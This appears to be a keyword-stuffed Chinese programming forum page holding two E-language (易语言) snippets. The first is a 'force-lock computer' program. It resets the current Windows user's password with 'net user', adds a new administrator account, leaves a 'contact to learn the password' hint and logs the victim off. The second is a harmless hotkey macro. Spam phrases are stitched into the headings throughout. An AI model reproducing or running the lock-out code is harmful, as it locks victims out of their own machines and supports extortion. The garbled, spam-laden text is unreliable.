谁有易语言强制锁电脑的易语言s源码易语言最强趋势指标源码源码

       .版本 2

       .支持库 shell

       .子程序 __启动窗口_创建完毕

       .局部变量 用户名, 文本型

       .局部变量 密码, 文本型

       用户名 ＝ “想知道密码联系” ' 这里设置你的用户名,中间不要加任何标点符号.

       密码 ＝ “” ' 这里设置密码

       运行 (“net user ” ＋ 读环境变量 (“username”) ＋ “ ” ＋ 密码, 假, ) ' 先把原密码改掉

       运行 (“net user ” ＋ 用户名 ＋ “ ” ＋ 密码 ＋ “ /add”, 假, ) ' 添加一个用户

       运行 (“net localgroup administrators ” ＋ 用户名 ＋ “ /add”, 假, ) ' 把这个用户添加的超级管理员组中

       写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\” ＋ 用户名, 用户名) ' 这里是后面显示那个帮助提示.

       关闭系统 (3, 真) ' 注销系统帐号,桌面返回到登陆界面.

       结束 ()

谁帮忙写个易语言源码。要求就是管理无人车模块源码F1开始关闭，按一次R健0.3秒后自动按一次E健，易语言s源码易语言就这么简单。管理悬赏1

       .版本 2

       .支持库 shellEx

       .支持库 eAPI

       .程序集 窗口程序集1

       .程序集变量 F1,易语言s源码易语言 整数型

       .程序集变量 R, 整数型

       .程序集变量 真假, 逻辑型

       .子程序 __启动窗口_创建完毕

       F1 ＝ 注册热键 (_启动窗口.取窗口句柄 (), 标签1.取窗口句柄 (), 0, #F1键)

       R ＝ 注册热键 (_启动窗口.取窗口句柄 (), 标签1.取窗口句柄 (), 0, #R键)

       真假 ＝ 假

       .子程序 _标签1_反馈事件, 整数型

       .参数 参数一, 整数型

       .参数 参数二, 整数型

       .如果真 (真假)

        .如果真 (参数一 ＝ R)

        延时 ()

        模拟按键 (#E键, , )

        .如果真结束

       .如果真结束

       .如果真 (参数一 ＝ F1)

        真假 ＝ 取反 (真假)

       .如果真结束